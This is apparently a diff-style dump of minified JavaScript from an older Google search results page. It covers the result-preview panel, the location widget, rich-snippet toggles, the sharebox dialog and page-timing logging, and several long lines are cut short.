+_.yz=_.l;_.uz=_.m;_.xz=_.m;_.Dz=[];_.pda=/^\/url.*[?&]url=([^&]+)/;_.qda=/^\/url.*[?&]q=([^&]+)/;_.oda=/(?:(?:\/aclk)|(?:\/d\/AdPreview\/adclick.html)).*[?&]adurl=([^&]+)/;_.dA=-1;_.Tz=_.l;_.Mz=_.l;_.Xz=_.l;_.bA=_.l;_.Rz=_.l;_.Pz=_.l;_.Qz=_.m;_.Sz=_.m;_.aA=[];_.sA={};_.pA=_.l;_.oA=_.l;_.fC=[];_.EA=7;_.jA.prototype.TF=function(a){for(var b=0,c;c=this.B[b];b++)if(a==c){b!=this.D&&(0,_.lA)(this,b);break}};_.HA=_.m;_.gC=_.l;_.IA=_.l;_.JA=_.l;_.hC=[35,function(a){(0,_.gC)()&&(_.HA=_.j);return [...]
+_.iC=_.l;_.jC=_.m;_.ZA=_.l;_.IB=_.m;_.JB=0;_.kC=0;_.SB=_.m;
+_.lC={ab:{on:_.m},ajax:{gwsHost:"",requestPrefix:"/ajax/rd?",maxPrefetchConnections:2,prefetchTotal:5},css:{adpc:"#fffbf2",adpbc:"#fec"},elastic:{js:_.m,rhsOn:_.m,rhs4Col:1068,rhs5Col:1156,tiny:_.m,tinyLo:847,tinyMd:924,tinyHi:980},kfe:{fewTbts:_.j},logging:{csiFraction:0.05},msgs:{sPers:"Show personal results",hPers:"Hide personal results",sPersD:"Showing personal results",hPersD:"Hiding personal results"},time:{hOn:300,hOff:50,hSwitch:200,hTitle:1200,hUnit:1500,loading:100,timeout:2500 [...]
+rt:_.m,lrt:_.m,lur:_.m,adu:_.m,tnav:_.m,esp:_.m}};_.Ida={};_.aC=_.m;
+(0,_.ah)("m",{init:function(a){var b=!!window.google.react;_.eC=(0,_.T)("center_col");_.Az=(0,_.T)("nyc");_.XB=(0,_.T)("nyccur");_.YB=(0,_.T)("appbar")||(0,_.bf)("div.sfbgg");_.kC=_.JB=0;if(_.yz=a){a=_.yz;for(var c in _.lC){a[c]=a[c]||{};for(var d in _.lC[c])d in a[c]||(a[c][d]=_.lC[c][d])}if(_.Az&&!b){_.yz.exp.tnav&&(_.YB=(0,_.T)(_.yz.exp.esp?"omni_suggest":"hdtb"));_.yz.exp.esp&&(_.ZB=window.document.getElementById("hdtb"));c=_.eC;if(!(0,_.bf)("div.vspib",c)){c=(0,_.af)("div.vsc",c);fo [...]
+"vspiic";a.hasAttribute("icon-classes")&&(e=a.getAttribute("icon-classes"));e=(0,_.Ze)("div.vspib",'<div class="vspii"><div class="'+e+'"></div></div>');e.setAttribute("aria-label",_.yz.msgs.details);e.setAttribute("role","button");e.setAttribute("tabindex","0");(0,_.Ed)(e,a.firstElementChild||a.firstChild);_.yz.exp.adu&&(0,_.If)(a,"vsta")&&(e=(0,_.Ze)("div.vs_shadow",""),(0,_.Ed)(e,a.lastElementChild||a.lastChild));_.yz.exp.lru&&(0,_.oz)(a)&&(0,_.Ff)(a,"vslru")}}_.yz&&(_.cB=window.Math. [...]
+_.yz.logging.csiFraction);_.LA={};_.zB=(0,_.T)("nycpp");_.yB=(0,_.T)("nycp");_.rB=_.tB=_.l;_.qB=_.qB||new _.PA(_.yz.ajax.maxPrefetchConnections);_.hB=(0,_.T)("nycprv");_.eB=(0,_.T)("nycli");_.fB=(0,_.T)("nycm");(0,_.RB)();(c=(0,_.T)("nycx"))&&(0,_.rh)(c,"click",function(){(0,_.UB)(5)});_.Mz=function(){return 300>window.google.time()-_.kC};_.Tz=function(){return _.IB};_.Xz=function(a,b){(0,_.HB)(a,b)};_.bA=function(){(0,_.UB)(3)};(0,_.rh)(window.document,"mouseover",_.Lz);(0,_.rh)(window. [...]
+"mousedown",_.rda);(0,_.rh)(window.document,"mouseup",function(){_.Qz=_.m});(0,_.rh)(window.document,"click",_.TB);_.HA=_.m;_.gC=function(){return _.IB};_.IA=function(a){(0,_.HB)(a,4)};_.JA=function(){(0,_.UB)(4)};_.uf.apply(_.l,_.hC)}c=(0,_.Kf)()?"right":"left";d=(0,_.Kf)()?"left":"right";a="transition";_.Pe.Lt?a="-webkit-transition":_.Pe.Fz&&(a="-moz-transition");e="border";_.Pe.Lt?e="-webkit-border":_.Pe.Fz&&(e="-moz-border");var f=_.yz.css.adpc,g=_.yz.css.adpbc,h=_.yz.css.showTopNav? [...]
+"",i="#nycntg{margin:"+((0,_.Kf)()?"6px 0 10px 25px":"6px 25px 10px 0")+"}",n=_.yz.css.showTopNav?"38px":"22px",n=(0,_.Kf)()?"overflow:hidden;padding:"+n+" 31px 10px 16px":"padding:"+n+" 16px 10px 31px",i=i+("#nycp{background-color:#fafafa;border-"+c+":1px solid #ebebeb;bottom:0;"+c+":0;margin-"+c+":33px;min-width:240px;position:absolute;"+d+":0;top:0;visibility:hidden;"+h+n+"}.nyc_open #nycp{visibility:visible}#nycf{display:none;height:1px;"+c+":0;min-width:940px;position:absolute;visib [...]
+(0,_.Kf)()||(i+="#nyccur{background:#fafafa;height:100%;"+c+":33px;opacity:0;position:absolute;top:0;width:0;z-index:120}#nyccur.wipeRight{border-"+d+":1px solid #e8e8e8;opacity:1;"+a+":width 0.08s ease-in;width:100%}#nyccur.fadeOut{opacity:0;"+a+":opacity 0.08s linear;width:100%}#nyccur.fadeIn{opacity:1;"+a+":opacity 0.08s linear;width:100%}#nyccur.wipeLeft{border-"+d+":1px solid #eee;opacity:1;"+a+":width 0.08s ease-out;width:0}");_.yz.css&&_.yz.css.hIconsLarge&&(h="border-radius:2px;c [...]
+_.Pe.Lt?h+="-webkit-border-radius:2px;-webkit-user-select:none;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#f1f1f1));background-image:-webkit-linear-gradient(top,#f5f5f5,#f1f1f1)":_.Pe.Fz?h+="-moz-border-radius:2px;-moz-user-select:none;background-image:-moz-linear-gradient(top,#f5f5f5,#f1f1f1)":_.Pe.opera?h+="background-image:-o-linear-gradient(top,#f5f5f5,#f1f1f1)":_.Pe.He&&(h+="-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(startColorStr='#f [...]
+i+=".vspii{"+h+"}.vspib:focus .vspii{outline:#ccc solid thin;visibility:visible}.vsh .vspib:focus .vspii{outline:none;visibility:hidden}.vsh .vsc:hover .vspii,.vsh .vsc:hover .vspib:focus .vspii,.vsh .vspii:hover,.vsh .vspib:focus .vspii:hover,.vso .vspii,.vso .vspib:focus .vspii{outline:none;visibility:visible}.nyc_opening .vspii,.nyc_open .vspii{background-color:#fafafa;background-image:none;border-color:#e6e6e6"+(_.Pe.He?';-ms-filter:""':"")+"}.vsta .vspii,.vsta .vspii:hover{backgroun [...]
+f+";background-image:none;border-color:"+g+(_.Pe.He?';-ms-filter:""':"")+"}.vsca .vspii,.vsca .vspii:hover{background-color:#fafafa;border-color:#ccc}");i+=".vstd{line-height:0;overflow:hidden;position:absolute;white-space:nowrap;width:100%}.vstbtm{bottom:0}.vsttop{top:0}.vssrd{display:block;overflow:hidden;position:relative}.vssrdi{border-color:#bbb;border-style:solid;border-width:0 1px 0 1px}.vsta #nyccur,.vsta #nycp{background-color:"+f+";border-color:"+g+"}.vsca #nyccur,.vsca #nycp{b [...]
+d+":0;"+a+":padding-"+d+" .2s ease}.nyc_open .vspib .vspii,.nyc_opening .vspib .vspii{"+e+"-top-"+d+"-radius:0;"+e+"-bottom-"+d+"-radius:0;border-"+d+":none}.nyc_open #nycxh{cursor:pointer;"+(0,_.GB)(0.7)+";padding:15px;position:absolute;"+d+":1px;top:12px}.nyc_open #nycxh:hover{"+(0,_.GB)(1)+"}#nycx{display:none}.nyc_open #nycx{border:none;cursor:pointer;display:block;padding:0}#nyc #nycprv #vsia{position:relative;text-decoration:none}#nycntg h3 .esw{display:none}#nyc .vshid{display:inl [...]
+_.yz.exp.lru&&(i+=".vslru.vso:before{border:1px solid #ebebeb;border-"+d+":none;bottom:-8px;top:-7px;"+c+":-7px;"+d+':-9px;content:"";position:absolute;z-index:-1}.vslru div.vspib{bottom:-6px;top:-7px}.vslru div.vspib .vspii{border-radius:0}.vscl.vso.vslru:before,.vscl.vslru div.vspib{top:-4px}');_.iC=window.document.createElement("style");_.iC.setAttribute("type","text/css");(0,_.Ye)(_.iC);_.Pe.He&&!(0,_.Ve)("9")?_.iC.styleSheet.cssText=i:_.iC.appendChild(window.document.createTextNode( [...]
+!b&&((0,_.rh)(window,"resize",_.Mda),(0,_.rh)(window,"scroll",_.RB),(0,_.rh)(window.document,"keydown",function(a){a=a||window.event;_.kC=window.google.time();(0,_.Gf)(window.document.body,"vsh");if(13==a.keyCode){if((a=(0,_.Mh)(a))&&(0,_.If)(a,"vspib"))(a=(0,_.Kz)(a))&&(0,_.HB)(a,4)}else 27==a.keyCode&&(0,_.UB)(6)}),(0,_.uf)(49,function(){(0,_.UB)(7);return _.j}),_.yz.ab.on&&((0,_.uf)(41,_.xda),(0,_.uf)(37,function(a){if(a&&(a=(0,_.T)("appbar")))a.style.visibility="hidden"}),(0,_.bf)("# [...]
+_.yz.exp.spt)&&(_.EA+=b)),(_.xz=(0,window.Boolean)(window.gbar&&window.gbar.elc&&window.gbar.elr))&&window.gbar.elc(function(){_.yz.elastic.js&&(0,_.vz)(window.gbar.elr().mo);(0,_.xf)(71)}),window.google.video=window.google.nyc.video);_.jC=_.j;if(b=(0,_.gA)())b=(0,_.bf)("#lst-ib",b),(0,_.rh)(b,"focus",_.hA),(0,_.rh)(b,"blur",_.iA),b==(0,_.$d)(window.document)&&(0,_.hA)();b=(0,_.af)(".ab_button");for(c=0;d=b[c];c++)(0,_.rh)(d,"keydown",_.yA),_.Qe.qy&&(0,_.rh)(d,"keypress",_.wA);_.fC=[];(b [...]
+_.fC.push(new _.tt(b,(0,_.If)(b,"disabled")?_.yz.msgs.sPersD:_.yz.msgs.sPers));(b=(0,_.T)("abar_ps_off"))&&_.fC.push(new _.tt(b,(0,_.If)(b,"disabled")?_.yz.msgs.hPersD:_.yz.msgs.hPers));(0,_.Kg)("ab",{cc:_.sda,go:_.tda,roi:_.uda,roid:_.vda,tdd:_.nA,tei:_.wda},_.j);_.yz.elastic&&_.yz.elastic.js&&((0,_.rh)(window,"resize",_.wz),(0,_.wz)());(b=(0,_.bf)("div.lhshdr"))&&_.Dz.push(b);(b=(0,_.T)("tbbcc"))&&_.Dz.push(b);(0,_.Cz)();(0,_.rh)(window,"scroll",_.Cz);_.Qe.He&&!(0,_.Ve)("9")&&(0,_.rh)( [...]
+_.Cz);(_.aC=(0,window.Boolean)(window.gbar&&window.gbar.elc&&window.gbar.elr))&&window.gbar.elc(function(){(0,_.$B)()});_.yz.elastic.tiny&&_.aC&&(0,_.$B)()}},dispose:function(){if(_.yz){_.iC&&((0,_.Fd)(_.iC),_.iC=_.l);_.Dz=[];_.yz.elastic&&_.yz.elastic.js&&(0,_.sh)(window,"resize",_.wz);(0,_.sh)(window,"scroll",_.Cz);_.Qe.He&&!(0,_.Ve)("9")&&(0,_.sh)(window,"resize",_.Cz);var a=(0,_.gA)();a&&(a=(0,_.bf)("#lst-ib",a),(0,_.sh)(a,"focus",_.hA),(0,_.sh)(a,"blur",_.iA));for(var a=(0,_.af)(".a [...]
+b=0,c;c=a[b];b++)(0,_.sh)(c,"keydown",_.yA),_.Qe.qy&&(0,_.sh)(c,"keypress",_.wA);_.pA&&(0,_.qA)();_.sA={};for(b=0;b<_.fC.length;b++)_.fC[b].IC();_.fC=[];(0,_.Ng)("ab","cc go roi roid tdd tei tne".split(" "));_.zB=_.yB=_.l;_.qB&&_.qB.clear();_.JA=_.IA=_.gC=_.tB=_.fB=_.eB=_.hB=_.rB=_.l;_.wf.apply(_.l,_.hC);(0,_.cA)();(0,_.sh)(window.document,"click",_.TB);window.clearTimeout(_.WB)}_.Az=_.eC=_.ZA=_.l;_.IB=_.m;_.YB=_.XB=_.l;_.kC=_.JB=0}});(0,_.ha)("google.nyc.closePanelViaLinkClick",_.dC,_.ba);
+(0,_.ha)("google.nyc.openPanelViaLinkClick",_.cC,_.ba);(0,_.ha)("google.nyc.addHoverStateLockingElement",_.eA,_.ba);(0,_.ha)("google.nyc.removeHoverStateLockingElement",_.fA,_.ba);(0,_.ha)("google.nyc.notifyRanScripts",function(){_.nB=_.j},_.ba);(0,_.ha)("google.nyc.me",function(a,b){var c=(0,_.T)(a);if(c!=_.l)for(var d in b)c.setAttribute(d,b[d])},_.ba);(0,_.ha)("google.nyc.registerAds",function(a){(0,_.bC)(a,"tads");(0,_.bC)(a,"tadsb")},_.ba); (0,_.ha)("google.nyc.setImageAnchorHrefFor [...]
+
+(0,_.Mc)(_.Dc.I(),"sy52");(0,_.Qc)(_.Dc.I(),"sy52");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"m");
+(0,_.Mc)(_.Dc.I(),"m");(0,_.Qc)(_.Dc.I(),"m");
+}catch(e){_._DumpException(e)}
+try{
+_.BG=function(){this.B=(0,_.bf)("#answer_slist_more_button");this.D=(0,_.bf)("#answer_slist_less_button");this.H=(0,_.bf)("#answer_slist_more_results_container");if((this.M=(0,_.bf)("#answer_slist_more_results"))&&this.B&&this.D)(0,_.rh)(this.B,"click",(0,_.Xa)(this.S,this)),(0,_.rh)(this.D,"click",(0,_.Xa)(this.N,this))};(0,_.Pc)(_.Dc.I(),"amcl");
+_.BG.prototype.S=function(){this.H===_.l||(0,_.cf)(this.H,"height",(0,_.Mf)(this.M)+"px");this.B===_.l||(0,_.cf)(this.B,"display","none");this.D===_.l||(0,_.cf)(this.D,"display","block");(0,_.Rh)(this.B,[this.B],[_.j])};_.BG.prototype.N=function(){this.H===_.l||(0,_.cf)(this.H,"height",0);this.B===_.l||(0,_.cf)(this.B,"display","block");this.D===_.l||(0,_.cf)(this.D,"display","none");(0,_.Rh)(this.D,[this.B],[_.m])};
+_.BG.prototype.dispose=function(){this.B&&this.D&&((0,_.sh)(this.B,"click",(0,_.Xa)(this.S,this)),(0,_.sh)(this.D,"click",(0,_.Xa)(this.N,this)))};(0,_.ah)("amcl",{init:function(){(0,_.bf)(".answer_slist_collection")!=_.l&&(new _.BG,(0,_.uG)("rmcl"))}});
+
+(0,_.Mc)(_.Dc.I(),"amcl");(0,_.Qc)(_.Dc.I(),"amcl");
+}catch(e){_._DumpException(e)}
+try{
+_.Xia=function(){var a="/webhp?ssrp=1",b=(0,_.Df)("hl");b&&(a+="&hl="+b);(0,_.yf)(a)};(0,_.Pc)(_.Dc.I(),"erh");(0,_.ah)("erh",{init:function(){(0,_.Kg)("erh",{hc:_.Xia})}});
+(0,_.Mc)(_.Dc.I(),"erh");(0,_.Qc)(_.Dc.I(),"erh");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"hv");
+(0,_.Mc)(_.Dc.I(),"hv");(0,_.Qc)(_.Dc.I(),"hv");
+}catch(e){_._DumpException(e)}
+try{
+_.tca=function(){var a=(0,_.T)("lc-input");if(a.value!=window.google.loc.m4)return _.m;var b=(0,_.Ze)("div",a.value);b.setAttribute("class",a.getAttribute("class"));b.style.cssText=a.style.cssText;b.style.visibility="hidden";b.style.position="absolute";b.style.width="auto";b.style.whiteSpace="nowrap";a.parentNode.appendChild(b);a=b.offsetWidth>a.offsetWidth;(0,_.Fd)(b);return a};
+_.ut=function(){_.vt=_.m;var a=(0,_.T)("lc-input");a&&(_.wt=new _.tt(a,window.google.loc.m4,1,_.tca));(0,_.Kg)("loc",{dloc:_.xt,ead:_.yt,elc:_.zt,stt:_.At,htt:_.Bt})};_.Ct=function(){_.wt&&(_.wt.IC(),_.wt=_.l)};
+_.Dt=function(a,b,c){var d=(0,_.T)("set_location_section");""!=a.innerHTML&&(d.style.height=d.offsetHeight-a.offsetHeight-4+"px");var e=d.offsetHeight,f="";c&&(f="color:#c11;");a.innerHTML='<div style="'+f+'margin-top:3px">'+b+"</div>";a.style.display="block";d.offsetHeight==e&&(d.style.height=d.offsetHeight+a.offsetHeight+4+"px")};_.Et=function(){var a={q:(0,_.Df)("q"),changed_loc:1};(0,_.Af)(a,_.j)};
+_.Ft=function(a,b){var c=(0,_.T)("error_section"),d=(0,_.oh)();d.onreadystatechange=function(){if(4==d.readyState)if(200==d.status&&!d.responseText){c.innerHTML="";try{var a=(0,_.tf)();a&&a.hb()}catch(e){window.google.log("location_widget_make_uul_request","&err="+e,"",b)}(0,_.Et)()}else 200==d.status&&d.responseText?d.responseText.match("\n")?(0,_.Dt)(c,d.responseText.split("\n")[0],_.j):(0,_.Dt)(c,d.responseText,_.m):(0,_.Dt)(c,window.google.loc.m3,_.j)};var e="/uul?muul=4_18"+a+"&usg= [...]
+"&hl="+window.google.kHL,f=(0,_.Df)("host");f&&(e+="&host="+f);d.open("GET",e,_.j);d.send(_.l)};_.yt=function(a){window.google.log("location_widget_enable_autodetect","","",a);(0,_.Ft)("&uulo=2",a)};
+_.zt=function(){if(!_.vt){_.vt=_.j;var a=(0,_.T)("lc"),b=(0,_.T)("set_location_section");a.className="lco";var c;if(b){var d=b.offsetHeight,e=(0,_.Lf)(b,"overflow",_.j);b.style.overflow="hidden";c={De:d,KL:e}}else c=_.l;(0,_.lf)(227,[[b,"height",0,c.De],[b,"opacity",0,1,_.l,""]],function(){window.google.log("location_widget","&open=1","",a);var d=c;b.style.removeAttribute&&b.style.removeAttribute("filter");b.style.overflow=d.KL;b.style.height=""})}};
+_.At=function(){var a=(0,_.T)("lc-input");""==a.value&&(a.value=window.google.loc.m4,a.style.color="#666666")};_.Bt=function(){var a=(0,_.T)("lc-input");a.value==window.google.loc.m4&&(a.value="",a.style.color="#000000")};_.xt=function(){var a=(0,_.T)("error_section");window.google.devloc?window.google.devloc.pnlic(_.Et,function(){(0,_.Dt)(a,window.google.loc.m5,_.j)}):(0,_.Dt)(a,window.google.loc.m5,_.j)};(0,_.Pc)(_.Dc.I(),"lc");
+_.vt=_.m;(0,_.ha)("google.loc.init",_.ut,_.ba);(0,_.ha)("google.loc.dispose",_.Ct,_.ba);(0,_.ha)("google.loc.devloc",_.xt,_.ba);(0,_.ha)("google.loc.submit",function(){var a=(0,_.T)("lc-input"),b=a.value;b?(window.google.log("location_widget_change_location","","",a),(0,_.Ft)("&luul="+(0,window.encodeURIComponent)(b)+"&uulo=1",a)):(0,_.yt)(a);return _.m},_.ba);(0,_.ha)("google.loc.enableAutoDetect",_.yt,_.ba);(0,_.ha)("google.loc.expandLocationChange",_.zt,_.ba);(0,_.ha)("google.loc.b",_ [...]
+
+(0,_.Mc)(_.Dc.I(),"lc");(0,_.Qc)(_.Dc.I(),"lc");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"ob");
+(0,_.Mc)(_.Dc.I(),"ob");(0,_.Qc)(_.Dc.I(),"ob");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"rsn");_.v3=_.j;
+(0,_.ha)("google.rs.sm.toggle",function(a,b,c,d,e,f){if(_.v3){_.v3=_.m;for(var g=a;!(0,_.If)(g,"rscontainer");){if(g==window.document.body){_.v3=_.j;return}g=g.parentNode}var h=(0,_.If)(g,"rssmo");h?(0,_.Gf)(g,"rssmo"):(0,_.Ff)(g,"rssmo");var i=[],n=[];d=h?1:0;for(var p=1-d,k,q,v,r=(0,_.af)("div.rssmw",g),g=0,s;s=r[g++];)k=s.offsetHeight,_.Pe.Lt?(v=(0,_.Nf)(s.parentNode),q=-100*k/v-10,v="%"):(q=-k-1,v="px"),k=(1-d)*q,q*=1-p,i.push([s,"marginTop",k,q,_.jf,v]),n.push([s.parentNode,"opacity [...]
+""]);var A=function(){var a=r;"undefined"==typeof a.length&&(a=[a]);if(h)for(b=0;c=a[b++];)c.style.marginTop="-9999px";else for(var b=0,c;c=a[b++];)_.Pe.He?c.parentNode.style.removeAttribute("filter"):c.parentNode.style.opacity="";_.v3=_.j;f&&f()};b?(0,_.lf)(c,n.concat(i),A):h?(0,_.lf)(c,n,function(){(0,_.lf)(e,i,A)}):(0,_.lf)(e,i,function(){(0,_.lf)(c,n,A)});a=a.getAttribute("link-cgi")||"";window.google.log("rich_snippets_toggle",(h?"close":"open")+a)}},_.ba);
+(0,_.ha)("google.rs.msm.toggle",function(a){for(;!(0,_.If)(a,"rscontainer");){if(a==window.document.body)return;a=a.parentNode}var b=(0,_.If)(a,"rssmo");b?(0,_.Gf)(a,"rssmo"):(0,_.Ff)(a,"rssmo");window.google.log("rich_snippets_mobile_toggle",b?"close":"open")},_.ba);
+
+(0,_.Mc)(_.Dc.I(),"rsn");(0,_.Qc)(_.Dc.I(),"rsn");
+}catch(e){_._DumpException(e)}
+try{
+_.oBa=function(a){a.checked=_.j};_.pBa=function(a){a.form.q.value?a.checked=_.j:window.top.location.pathname="/doodles/"};_.qBa=function(a,b){var c=(0,_.td)("SCRIPT",{src:b.js});(0,_.Ye)(c)};(0,_.Pc)(_.Dc.I(),"sf");(0,_.ah)("sf",{init:function(){(0,_.Kg)("sf",{chk:_.oBa,lck:_.pBa,tia:_.qBa})}});
+(0,_.Mc)(_.Dc.I(),"sf");(0,_.Qc)(_.Dc.I(),"sf");
+}catch(e){_._DumpException(e)}
+try{
+_.Vha=function(){_.Wha||((0,_.Fd)((_.HJ||window).document.getElementById("googleShareboxIframeDiv")),_.IJ=_.m,_.JJ&&(0,_.JJ)({}))};
+_.Xha=function(a,b){if(!_.IJ){_.KJ=a;b&&(_.LJ=b.onShareOpened,_.MJ=b.onShareClosed,_.JJ=b.onShareTimedOut,_.NJ=b.onNotLoggedInForGooglePlus,_.OJ=b.footerCallback,_.PJ=b.sessionIndex,_.QJ=b.socialHost,_.HJ=b.window,b.window=_.l,_.RJ=b.spinnerPath,_.SJ=b.spinnerWidth,_.TJ=b.spinnerHeight,_.Yha=b);var c=_.HJ||window;_.PJ=_.PJ||"0";_.QJ=_.QJ||"https://plus.google.com";_.RJ=_.RJ||"//ssl.gstatic.com/docs/documents/share/images/spinner-1.gif";_.SJ=_.SJ||"16px";_.TJ=_.TJ||"16px";var d=_.HJ||wind [...]
+{onOpen:function(a){var b=(0,_.T)("googleShareboxIframeDiv");b.style.background="";b.style.opacity="";b.style.filter="";(0,_.Fd)(d.document.getElementById("googleShareboxLoadingSpinner"));return a.openInto(a.getOpenParams().element,{"class":"abc",scrolling:"auto",width:"100%",height:"100%",allowtransparency:"true"})},onReady:function(a){window.setTimeout(function(){_.Wha=a;_.KJ&&a.setPrefill(_.KJ);a.setParamBag(_.Yha);_.LJ&&(0,_.LJ)({})},0)},onClose:function(a,b){b&&(b.loggedOut&&_.NJ&&( [...]
+b.footerCallback&&_.OJ&&(0,_.OJ)());(0,_.Zha)(a,d.document.getElementById("googleShareboxIframeDiv"));_.MJ&&(0,_.MJ)(b)}});_.IJ=_.j;var e=c.document.createElement("div");e.setAttribute("id","googleShareboxIframeDiv");e.style.position="fixed";e.style.width="100%";e.style.height="100%";e.style.left="0px";e.style.top="0px";e.style.zIndex=5001;e.style.opacity="0.75";e.style.filter="alpha(opacity=75)";e.style.background="#FFF";c.document.body.appendChild(e);var f=c.document.createElement("img [...]
+"googleShareboxLoadingSpinner");f.setAttribute("src",_.RJ);f.style.position="absolute";f.style.width=_.SJ;f.style.height=_.TJ;f.style.left="50%";f.style.top="50%";e.appendChild(f);e=_.QJ+"/u/"+_.PJ+"/_/sharebox/dialog";f={};f.claimedOrigin=c.document.location.protocol+"//"+c.document.location.host;var g=_.m;b&&("games"==b.apiMode&&(f.mode=b.apiMode),b.hl&&(f.hl=b.hl),b.sourceForLogging&&(f.source=b.sourceForLogging),b.dialogTitle&&(f.dialogTitle=b.dialogTitle),b.shareButtonText&&(f.share [...]
+b.shareButtonText),b.showIcons&&(f.showIcons="true"),b.segments?f.segments=c.JSON.stringify(b.segments):b.editorText&&(f.editorText=b.editorText),b.editorHelperText&&(f.editorHelperText=b.editorHelperText),b.birthday&&(f.birthday=b.birthday),b.birthdayName&&(f.birthdayName=b.birthdayName),b.recipients&&(f.rcpt=b.recipients.join(",")),g=!!b.updateMetadata);var h=_.l;if(!g){var i;a&&(a.items&&1==a.items.length&&a.items[0].properties)&&(g=a.items[0].properties,g.description===_.l&&delete g. [...]
+g.image===_.l&&delete g.image,g.name===_.l&&delete g.name,g.url===_.l&&delete g.url,!g.description&&(!g.image&&!g.name)&&(g.url&&g.url[0])&&(i=g.url[0]));i&&(f.url=i,h="url");a&&!i&&((!a.items||0==a.items.length)&&delete a.items,a.errorMsg===_.l&&delete a.errorMsg,i=c.gadgets.json.stringify(a),f.md=i,h="md")}h&&(f.prm=h);f.sts=(+(new window.Date).getTime()).toString(36);750>window.document.documentElement.clientHeight&&(f.susp=_.j);window.document.documentMode&&(f.hostiemode=window.docum [...]
+i=c.iframes.open(e,{style:"shareboxDialog",element:"googleShareboxIframeDiv",allowPost:_.j},f,{});_.$ha=c.document.getElementById("googleShareboxIframeDiv").getElementsByTagName("googleShareboxIframeDiv")[0];i.getIframeEl().style.zIndex=5002;window.setTimeout(_.Vha,15E3)}};_.Zha=function(a,b){var c=a||_.$ha;c&&c.remove&&c.remove();(c=b||(0,_.T)("googleShareboxIframeDiv"))&&(0,_.Fd)(c);_.IJ=_.m}; _.aia=function(a,b){window.iframes?(0,_.Xha)(a,b):window.gbar&&window.gbar.lGC&&window.gbar.l [...]
+_.IJ=_.m;
+(0,_.Mc)(_.Dc.I(),"sy81");(0,_.Qc)(_.Dc.I(),"sy81");
+}catch(e){_._DumpException(e)}
+try{
+_.Vxa=function(a,b){var c=(0,_.Pg)(b.segments),d=b.tyid;(0,_.aia)({items:[{properties:{url:[b.url],name:[b.name],description:[b.desc]}}]},{dialogTitle:b.title,segments:c,onShareClosed:function(a){if(a.shareOccurred){a=(0,_.T)(d);var b=a.parentNode,c=window.document.createElement("text");b.insertBefore(c,a);c.innerHTML="Sent thanks!";b.removeChild(a)}},sourceForLogging:"sharebox:google:thank_you"})};(0,_.Pc)(_.Dc.I(),"sfa");
+(0,_.ah)("sfa",{init:function(){(0,_.Kg)("sfa",{ssl:_.Vxa})}});
+(0,_.Mc)(_.Dc.I(),"sfa");(0,_.Qc)(_.Dc.I(),"sfa");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy111");
+(0,_.Mc)(_.Dc.I(),"sy111");(0,_.Qc)(_.Dc.I(),"sy111");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"shb");
+(0,_.Mc)(_.Dc.I(),"shb");(0,_.Qc)(_.Dc.I(),"shb");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"tbpr");
+(0,_.Mc)(_.Dc.I(),"tbpr");(0,_.Qc)(_.Dc.I(),"tbpr");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"hsm");
+(0,_.Mc)(_.Dc.I(),"hsm");(0,_.Qc)(_.Dc.I(),"hsm");
+}catch(e){_._DumpException(e)}
+try{
+_.Aj=function(a){if((a=(0,_.T)(a))&&"none"!=(0,_.Lf)(a,"display",_.j)&&"hidden"!=(0,_.Lf)(a,"visibility",_.j)&&0<a.offsetHeight){var b=(0,_.Lf)(a,"margin-top",_.m)||0,c=(0,_.Lf)(a,"margin-bottom",_.m)||0;return a.offsetHeight+b+c}return 0};_.Bj=function(a,b,c){var d=a.t[b],e=a.t.start;if(d&&(e||c))return _.Cj&&(d=a.t[b][0]),c!=_.ba?e=c:_.Cj&&(e=e[0]),_.Dj?d>e?d-e:e-d:d-e};
+_.Ej=function(a,b,c){a:{var d="";if(_.Fj&&(window[_.Gj].pt&&(d+="&srt="+window[_.Gj].pt,delete window[_.Gj].pt),_.Hj))try{window.external&&window.external.tran?d+="&tran="+window.external.tran:window.gtbExternal&&window.gtbExternal.tran?d+="&tran="+window.gtbExternal.tran():window.chrome&&window.chrome.csi&&(d+="&tran="+window.chrome.csi().tran)}catch(e){}if(_.Ij){var f=(0,_.T)("csi");if(f){var g;window[_.Gj]._bfr!=_.ba?g=window[_.Gj]._bfr:(g=f.value,window[_.Gj]._bfr=g,f.value=1);if(_.J [...]
+"";break a}}else g&&(d+="&bfr=1")}}if(_.Kj&&(f=window.chrome))if(f=f.loadTimes)f().wasFetchedViaSpdy&&(d+="&p=s"),f().wasNpnNegotiated&&(d+="&npn=1"),f().wasAlternateProtocolAvailable&&(d+="&apa=1");a.mW&&(d+="&"+a.mW);_.Lj&&window.parent!=window&&(d+="&wif=1");if("undefined"!=typeof window.navigator&&window.navigator&&window.navigator.connection){f=window.navigator.connection;g=f.type;for(var h in f)if("type"!=h&&f[h]==g){d+="&conn="+h;break}}f=a.t;g=f.start;h=[];var i=_.m;if(_.Cj)var n [...]
+p&&(i=_.j),"start"!=p){if(_.Cj){if(0==p.indexOf("_"))continue;var k=f[p][1];if(k){f[k]&&n.push(p+"."+(0,_.Bj)(a,p,f[k][0]));continue}}g&&h.push(p+"."+(0,_.Bj)(a,p))}if(!i){var k=[],q=window.performance&&window.performance.timing;q&&(i=q.navigationStart,i||(i=q.fetchStart),i&&g&&k.push("wsrt."+(g-i)),q.connectEnd&&q.connectStart&&k.push("cst."+(q.connectEnd-q.connectStart)),q.domainLookupEnd&&q.domainLookupStart&&k.push("dnst."+(q.domainLookupEnd-q.domainLookupStart)),q.redirectEnd&&q.red [...]
